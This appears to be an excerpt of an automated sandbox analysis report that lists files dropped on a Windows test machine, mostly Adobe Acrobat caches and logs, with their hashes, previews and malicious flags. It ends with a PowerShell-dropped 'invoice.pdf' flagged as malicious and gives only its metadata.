Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"822f67cfe584d32133d0a64597afadc1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736533639000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e02d25af0fec5f2e753dcf17d42c4ed8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736533639000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"dff740fe37f4645cdb92b65a17501c1f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736533639000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3bb351b3edc1ead5bd15f4d84488cb2e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736533639000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ceb4b86ae58617983e93ef6e4a890301","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736533639000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a4e207009d1613a2aad18d573cce9db7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146280042150861
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursbyRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcZ:TFl2GL7msIXc+XcGNFlRYIX2v3k5
MD5:	2B75ED0DEAB59A7BAAF405D5F075E586
SHA1:	1490952AC346263135384B24D3A492F34FB7A96B
SHA-256:	F0FCE1A26807F1B3EDC00181973BB61F54E9E7E9B2C5CF939347DDD62CB15F94
SHA-512:	E904121ECA7A282C9CEBAFCE64B0CA4B4D2A704CC7FB33E50F91683F4DCA239CFC30282ED7CA445951DF0174AE507541B9016F56F4D9E016BC2EF4BB12807E29
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5532081003691278
Encrypted:	false
SSDEEP:	24:7+tTyUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxUqLxx/XYKE:7MXXc+XcGNFlRYIX2vlqVl2GL7ms8
MD5:	E087D5DC89FF9519542235E9AEEE7813
SHA1:	A1E4FB3B5B5B3A3327FC2D06B8AA886C0436DDDD
SHA-256:	AA867FB05386C70CC9305BBBB6F620A9F2264084670A2B3819524FC423E5A7C2
SHA-512:	C660E71BC3E8498D7F05D31751F036D3758FA18194F1C9F6364CBCBA2C2B5778F150DFEB0750AB9CC48D91281F033C2FA40825662258F1899E67C132011492AC
Malicious:	false
Preview:	.... .c.....z............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgo/HqPTmV2NIh6CjcNMxm9Nw8Yyu:6a6TZ44ADEo/KPTm86hQ/TK
MD5:	5EF07EBF20CF596FB8B5C46A22B651E3
SHA1:	A00AE4402FE485FA7F3558DF006A0600CA321A6A
SHA-256:	906F1371DC34CA67C5CD719AAC719997A3EE63FEF76CBDCAED73A79313AC10B4
SHA-512:	B33226A46E9F8CCCE94E976FAA31204141DCCC7A44520941A8A0EEC3D0721CAFBC66A5C71C6FE897CC752EB525E410B55F083AFBCBE73D4B7BF8A8C43D06BE0A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI8222f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEzS:Qw946cPbiOxDlbYnuRK+bDzS
MD5:	BF99EE370ACDACD3E75C40FD7CA38B85
SHA1:	BC228BC613841342F437B1AED0BF116BF149F32A
SHA-256:	0664013DF4AFFE8A2A24C5F1127921B607EB61E21B898FEEF2BA497E24A6CE6B
SHA-512:	D2DF83F86F6F52F2E93753055DA0DC0D0ABED2A32F1E719E08701461121156BC2C2AFBBEC8941D706C34A820C5C9CB902C5FA24346679B95361E1D8A5E7C3B21
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.2.7.:.1.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc5wjnck.ojc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmbpwkn0.o2v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91iuxv1l_1nr2uvu_4eg.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9e61l3w_1nr2uvx_4eg.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-27-11-085.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.315814728077942
Encrypted:	false
SSDEEP:	384:CVigfYigB9Yh7oadgcmpQ0ja97XxBNvPwly2aEscd9J64njKhx6LzaJa3y/l6RkV:CQEt
MD5:	7E4AE7F7F98E52995C47B367BB3D1C98
SHA1:	FB62A9B32A3E57F7D9A446784982CCAD45D692EE
SHA-256:	F39CFD8E8B69EDE46F7499DA8C02FFABE2852A5E62E4E6028D98E43AD81AA08F
SHA-512:	5C715BEEECFE4FA93A125A646A4CC2DF706952B1771EB3BB67EB7A551ED397A5959CB2345B68657C2A0D70C48943D26D501B03FDC2A4DBCE75364145E8D188CF
Malicious:	false
Preview:	SessionID=a6931fa9-81e0-4611-8d7d-aa2d328caead.1736533631099 Timestamp=2025-01-10T13:27:11:099-0500 ThreadID=7560 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a6931fa9-81e0-4611-8d7d-aa2d328caead.1736533631099 Timestamp=2025-01-10T13:27:11:100-0500 ThreadID=7560 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a6931fa9-81e0-4611-8d7d-aa2d328caead.1736533631099 Timestamp=2025-01-10T13:27:11:100-0500 ThreadID=7560 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a6931fa9-81e0-4611-8d7d-aa2d328caead.1736533631099 Timestamp=2025-01-10T13:27:11:100-0500 ThreadID=7560 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a6931fa9-81e0-4611-8d7d-aa2d328caead.1736533631099 Timestamp=2025-01-10T13:27:11:100-0500 ThreadID=7560 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395657688254123
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbjCcbgIjlcb5:V3fOCIdJDepVji
MD5:	D8AF9275CFFE60F950623458067CAC20
SHA1:	9FF0B9307F7216EDBF2686A1C194E693B7ABFD14
SHA-256:	0D98CF58882390D4B54674FB93333563E383E8D5361DF33C21389F7DCFCE670F
SHA-512:	2369A1913CB59F3F78C677DFC36131DBA6709E94886E80F4D00487676159A617D161E593E8B8A657C90158A19F4D1133D4BAA192F74F0CA683D1C8B4D04DD9A7
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\56244c46-42e4-428e-841a-99b60ed11be7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/2wYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R077aWL07oBGZd:OwZGV3mlind9i4ufFXpAXkrfUs0naWLa
MD5:	CFC0A2A52187131FB91CEE4F4A19BE35
SHA1:	38EDA61F652254555DB0142A64FCB6531096A2E8
SHA-256:	3F2ECE4165F7A61708853DDC249AEEDB95ADABF69DF30D5FB1536717B247B5F1
SHA-512:	3ACECD0C6B274410A8897C28C29ACE0FB2F342A09A7B6E6AB76BBA804878FFAD7B6E1511BE4E27B88D3787229474DE7DC03D44DC0D4D243D08644185EB52F4C0
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d32b41d0-cda0-41be-95da-f34f4d4dd06a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\db51b8a6-3e7e-4008-8281-1375f43b1f5d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/pwYIGNPQ9WL07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:xwZG29WLxXGZn3mlind9i4ufFXpAXkru
MD5:	17A4D09E4373155D739D65D37FDD108E
SHA1:	88ABEDA0447CCB031DD1D459657336A3FC50E486
SHA-256:	36FC00DA4B14D66BF783B992AC62C7590237C315B55D28A07A1B2E8678F918E3
SHA-512:	B95D3AB00F85EE3C41F813755485CF6B5C7A57F3DE9ACEF2DD2B0BDB3644580D36B43E5F44F5D9120FAD2AE128E7D69EFF2A9C58690B7162C20C497A24C88498
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\edfbef95-760c-455f-bf90-714d0b6fda22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
